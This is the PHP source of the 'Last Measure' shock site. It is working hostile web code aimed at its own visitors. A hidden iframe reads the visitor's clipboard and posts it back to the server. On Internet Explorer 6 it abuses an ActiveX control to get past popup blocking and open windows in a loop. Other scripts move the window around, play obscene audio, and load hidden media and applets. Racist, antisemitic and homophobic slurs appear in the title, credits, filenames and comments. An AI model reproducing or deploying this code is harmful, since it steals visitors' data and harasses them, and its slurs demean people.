| 1 | <?php |
|---|
| 2 | include('include/browser.php'); |
|---|
| 3 | include('include/db.php'); |
|---|
| 4 | include('include/keywords.php'); |
|---|
| 5 | |
|---|
| 6 | /* Static site containing the images, sounds and movies. Everything still |
|---|
| 7 | * works if this is not set. */ |
|---|
| 8 | $static = 'http://static.nimp.org/'; |
|---|
| 9 | |
|---|
| 10 | /* Browser features */ |
|---|
| 11 | $br = new Browser; |
|---|
| 12 | $br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6); |
|---|
| 13 | |
|---|
| 14 | /* Print a random image name, with its 'image/' prefix. */ |
|---|
| 15 | $imagelist = array(); |
|---|
| 16 | $dh = opendir('images/'); |
|---|
| 17 | while(($file = readdir($dh)) != false) { |
|---|
| 18 | $ext = substr($file, -3); |
|---|
| 19 | if($ext == 'jpg' || $ext == 'gif') { |
|---|
| 20 | $imagelist[] = $file; |
|---|
| 21 | } |
|---|
| 22 | } |
|---|
| 23 | closedir($dh); |
|---|
| 24 | |
|---|
| 25 | /* Print a random audio file name, with its 'audio/' prefix. */ |
|---|
| 26 | $audiolist = array(); |
|---|
| 27 | $dh = opendir('audio/'); |
|---|
| 28 | while(($file = readdir($dh)) != false) { |
|---|
| 29 | $ext = substr($file, -3); |
|---|
| 30 | if($ext == 'wav') { |
|---|
| 31 | $audiolist[] = $file; |
|---|
| 32 | } |
|---|
| 33 | } |
|---|
| 34 | closedir($dh); |
|---|
| 35 | |
|---|
| 36 | function random_image() { |
|---|
| 37 | global $static, $imagelist; |
|---|
| 38 | echo $static."images/".$imagelist[rand(0,count($imagelist)-1)]; |
|---|
| 39 | } |
|---|
| 40 | |
|---|
| 41 | |
|---|
| 42 | function hey_everybody() { |
|---|
| 43 | global $static, $audiolist; ?> |
|---|
| 44 | <div> |
|---|
| 45 | <!-- This object plays the "hey everybody, I'm watching gay porno!" sound --> |
|---|
| 46 | <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey"> |
|---|
| 47 | <param name="movie" value="<?php echo $static ?>flash/hey.swf" /> |
|---|
| 48 | <param name="quality" value="high" /> |
|---|
| 49 | </object> |
|---|
| 50 | <script type="text/javascript"> |
|---|
| 51 | <!-- |
|---|
| 52 | var audio = new Array(); |
|---|
| 53 | <?php |
|---|
| 54 | echo "var audiocount = ".count($audiolist).";\n"; |
|---|
| 55 | for($i = 0; $i < count($audiolist); $i++) { |
|---|
| 56 | echo " audio[".$i."] = '".$static."audio/".$audiolist[$i]."';\n"; |
|---|
| 57 | } ?> |
|---|
| 58 | for (i = 0; i < audiocount; i++) { |
|---|
| 59 | setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2)); |
|---|
| 60 | } |
|---|
| 61 | // --> |
|---|
| 62 | </script> |
|---|
| 63 | <div id="audio"></div> |
|---|
| 64 | <applet code="LastCoffee.class" width="100" height="100" codebase="/" /> |
|---|
| 65 | </div> |
|---|
| 66 | <?php |
|---|
| 67 | } |
|---|
| 68 | |
|---|
| 69 | function move_around($w, $h) { |
|---|
| 70 | global $static, $audiolist; ?> |
|---|
| 71 | <script type="text/javascript"> |
|---|
| 72 | <!-- |
|---|
| 73 | var images = new Array(); |
|---|
| 74 | <?php |
|---|
| 75 | echo "var imagecount = ".count($imagelist).";\n"; |
|---|
| 76 | for($i = 0; $i < count($imagelist); $i++) { |
|---|
| 77 | echo " images[".$i."] = '".$static."images/".$imagelist[$i]."';\n"; |
|---|
| 78 | } ?> |
|---|
| 79 | |
|---|
| 80 | var delay = 10; |
|---|
| 81 | var step = .2; |
|---|
| 82 | var curstep = 0; |
|---|
| 83 | |
|---|
| 84 | window.resizeTo(<?php echo "$w, $h";?>); |
|---|
| 85 | var centerX = (self.screen.width - document.body.clientWidth) / 2; |
|---|
| 86 | var centerY = (self.screen.height - document.body.clientHeight - 120) / 2; |
|---|
| 87 | movew0w(); |
|---|
| 88 | |
|---|
| 89 | function movew0w() { |
|---|
| 90 | var j; |
|---|
| 91 | for (j = 0; j < 5; j++) { |
|---|
| 92 | curstep += step / 5; |
|---|
| 93 | var factorX = Math.sin(curstep * 6.1) * 0.9; |
|---|
| 94 | var factorY = Math.cos(curstep * 3.7) * 0.9; |
|---|
| 95 | |
|---|
| 96 | factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) |
|---|
| 97 | * (Math.sin(10+curstep/(10+j))+0.2) |
|---|
| 98 | * Math.cos((curstep + j*25)/10); |
|---|
| 99 | factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70) |
|---|
| 100 | * (Math.sin(10+curstep/10)+0.2) |
|---|
| 101 | * Math.cos((curstep + j*25)/10); |
|---|
| 102 | self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); |
|---|
| 103 | } |
|---|
| 104 | document.body.background = images[(Math.floor(curstep) % imagecount) + 1]; |
|---|
| 105 | setTimeout("movew0w()", delay); |
|---|
| 106 | } |
|---|
| 107 | // --> |
|---|
| 108 | </script> |
|---|
| 109 | <?php |
|---|
| 110 | } |
|---|
| 111 | |
|---|
| 112 | function popup_bypasser() { ?> |
|---|
| 113 | <!-- This chunk bypasses popups --> |
|---|
| 114 | <script type="text/javascript"> |
|---|
| 115 | <!-- |
|---|
| 116 | function shellscript() { |
|---|
| 117 | for(i = 0; i < 5; i++) { |
|---|
| 118 | open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); |
|---|
| 119 | } |
|---|
| 120 | } |
|---|
| 121 | |
|---|
| 122 | function main() { |
|---|
| 123 | x.DOM.Script.execScript(shellscript.toString()); |
|---|
| 124 | x.DOM.Script.setTimeout("shellscript()"); |
|---|
| 125 | setTimeout("main()", 200); |
|---|
| 126 | } |
|---|
| 127 | // --> |
|---|
| 128 | </script> |
|---|
| 129 | <?php |
|---|
| 130 | } |
|---|
| 131 | |
|---|
| 132 | function divert_onload() { ?> |
|---|
| 133 | <script type="text/javascript"> |
|---|
| 134 | <!-- |
|---|
| 135 | var SymRealOnLoad; |
|---|
| 136 | var SymRealOnUnload; |
|---|
| 137 | var SymRealWinOpen; |
|---|
| 138 | |
|---|
| 139 | function SymOnUnload() { |
|---|
| 140 | window.open = SymWinOpen; |
|---|
| 141 | if(SymRealOnUnload != null) |
|---|
| 142 | SymRealOnUnload(); |
|---|
| 143 | } |
|---|
| 144 | |
|---|
| 145 | function SymOnLoad() { |
|---|
| 146 | if(SymRealOnLoad != null) |
|---|
| 147 | SymRealOnLoad(); |
|---|
| 148 | window.open = SymRealWinOpen; |
|---|
| 149 | SymRealOnUnload = window.onUnload; |
|---|
| 150 | window.onUnload = SymOnUnload; |
|---|
| 151 | } |
|---|
| 152 | |
|---|
| 153 | SymRealOnLoad = window.onLoad; |
|---|
| 154 | window.onLoad = SymOnLoad; |
|---|
| 155 | // --> |
|---|
| 156 | </script> |
|---|
| 157 | <?php |
|---|
| 158 | } |
|---|
| 159 | |
|---|
| 160 | function activate_applets() { ?> |
|---|
| 161 | <div> |
|---|
| 162 | <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1"> |
|---|
| 163 | <param name="ActivateApplets" value="1" /> |
|---|
| 164 | <param name="ActivateActiveXControls" value="1" /> |
|---|
| 165 | </object> |
|---|
| 166 | </div> |
|---|
| 167 | <?php |
|---|
| 168 | } |
|---|
| 169 | |
|---|
| 170 | /* |
|---|
| 171 | * The rest of our code |
|---|
| 172 | */ |
|---|
| 173 | |
|---|
| 174 | ?> |
|---|
| 175 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" |
|---|
| 176 | "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> |
|---|
| 177 | <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> |
|---|
| 178 | <head> |
|---|
| 179 | <title>GNAA Last Measure Live!</title> |
|---|
| 180 | <?php echo "<meta name=\"keywords\" content=\"${keywords}\" />\n"; ?> |
|---|
| 181 | <script type="text/javascript"> |
|---|
| 182 | <?php include("include/js.inc") ?> |
|---|
| 183 | </script> |
|---|
| 184 | <link rel="icon" type="image/x-icon" href="<?php echo $static; ?>favicon.ico" /> |
|---|
| 185 | <link rel="shortcut icon" type="image/x-icon" href="<?php echo $static; ?>favicon.ico" /> |
|---|
| 186 | <style type="text/css"> |
|---|
| 187 | html { |
|---|
| 188 | height: 100%; |
|---|
| 189 | width: 100%; |
|---|
| 190 | overflow: hidden; |
|---|
| 191 | } |
|---|
| 192 | body { |
|---|
| 193 | height: 100%; |
|---|
| 194 | width: 100%; |
|---|
| 195 | margin: 0; |
|---|
| 196 | padding: 0; |
|---|
| 197 | } |
|---|
| 198 | </style> |
|---|
| 199 | </head> |
|---|
| 200 | <?php |
|---|
| 201 | |
|---|
| 202 | /* |
|---|
| 203 | * |
|---|
| 204 | * Clipboard stealing subwindow |
|---|
| 205 | * |
|---|
| 206 | */ |
|---|
| 207 | |
|---|
| 208 | if($_GET['steal']) { ?> |
|---|
| 209 | <body> |
|---|
| 210 | <?php if($_POST['pwnd']) { |
|---|
| 211 | store_clipboard($_GET['key'], $_POST['content']); |
|---|
| 212 | } else { |
|---|
| 213 | ?> |
|---|
| 214 | <form name="clip" method="post" action="/index.php?steal=1&key=<?php echo $_GET['key']; ?>" style="display:none"> |
|---|
| 215 | <input type="text" name="content"> |
|---|
| 216 | <input type="hidden" name="pwnd" value="1"> |
|---|
| 217 | <input type="submit"> |
|---|
| 218 | </form> |
|---|
| 219 | <script type="text/javascript"> |
|---|
| 220 | <!-- |
|---|
| 221 | // without this if statement check, it bombs out with an error |
|---|
| 222 | if (typeof clipboardData != 'undefined') { |
|---|
| 223 | var content = clipboardData.getData("Text"); |
|---|
| 224 | document.forms["clip"].elements["content"].value = content; |
|---|
| 225 | } |
|---|
| 226 | document.forms["clip"].submit(); |
|---|
| 227 | // --> |
|---|
| 228 | </script> |
|---|
| 229 | <?php } ?> |
|---|
| 230 | </body> |
|---|
| 231 | |
|---|
| 232 | <?php |
|---|
| 233 | |
|---|
| 234 | /* |
|---|
| 235 | * |
|---|
| 236 | * This is either the first window or a popup window |
|---|
| 237 | * |
|---|
| 238 | */ |
|---|
| 239 | |
|---|
| 240 | } else { |
|---|
| 241 | if($_GET['popup']) { |
|---|
| 242 | $flash = 'second_opener.swf'; |
|---|
| 243 | } else { |
|---|
| 244 | $key = store_hit(); |
|---|
| 245 | $flash = 'first_opener.swf'; |
|---|
| 246 | } |
|---|
| 247 | ?> |
|---|
| 248 | <body style="background-image: url(<?php random_image(); ?>); background-color: #FFFFFF;" |
|---|
| 249 | onload="bookmark();noframes();load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);<?php if($br_ie6) { ?>setTimeout('main()', 100);<?php } ?>" |
|---|
| 250 | onmousemove="document.goatse.reset();movew0w();procreate();" |
|---|
| 251 | onkeydown="molish();procreate();" |
|---|
| 252 | onunload="document.goatse.reset();movew0w();procreate();" |
|---|
| 253 | onmouseover="document.goatse.reset();movew0w();procreate();"> |
|---|
| 254 | <?php move_around(800, 600); |
|---|
| 255 | activate_applets(); |
|---|
| 256 | if($br_ie6) { |
|---|
| 257 | popup_bypasser(); |
|---|
| 258 | divert_onload(); |
|---|
| 259 | } ?> |
|---|
| 260 | <table> |
|---|
| 261 | <tr> |
|---|
| 262 | <td valign="middle"> |
|---|
| 263 | <div style="text-align: center;"> |
|---|
| 264 | <a href="http://www.gnaa.eu/"><img src="<?php echo $static; ?>gnaa.png" alt="GNAA" /></a> |
|---|
| 265 | <br /> |
|---|
| 266 | <br /> |
|---|
| 267 | <?php if(!$br_ie6) { ?> |
|---|
| 268 | <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"> |
|---|
| 269 | <param name="movie" value="<?php echo $static; ?>flash/<?php echo $flash;?>" /> |
|---|
| 270 | <param name="quality" value="high" /> |
|---|
| 271 | </object> |
|---|
| 272 | <?php } ?> |
|---|
| 273 | </div> |
|---|
| 274 | </td> |
|---|
| 275 | </tr> |
|---|
| 276 | </table> |
|---|
| 277 | <?php if(!$_GET['popup']) { |
|---|
| 278 | hey_everybody(); ?> |
|---|
| 279 | <div> |
|---|
| 280 | <iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&key=<?php echo $key;?>"></iframe> |
|---|
| 281 | <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>lm.pdf"></iframe> |
|---|
| 282 | <iframe style="width: 1px; height: 1px;" src="<?php echo $static; ?>jews.wmv"></iframe> |
|---|
| 283 | <br /> |
|---|
| 284 | </div> |
|---|
| 285 | <?php echo $keywords; ?> |
|---|
| 286 | <?php } ?> |
|---|
| 287 | <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse"> |
|---|
| 288 | <p> |
|---|
| 289 | <span style="background-color: #ffffff; border: thin solid; color: #000000;"><a href="http://lastmeasure.com/">Last Measure</a> is proudly brought to you by The <a href="http://www.gnaa.eu/">Gay Nigger Association of America</a>. © 2002-2012 GNAA</span> |
|---|
| 290 | </p> |
|---|
| 291 | </form> |
|---|
| 292 | </body><?php |
|---|
| 293 | } |
|---|
| 294 | ?> |
|---|
| 295 | |
|---|
| 296 | </html> |
|---|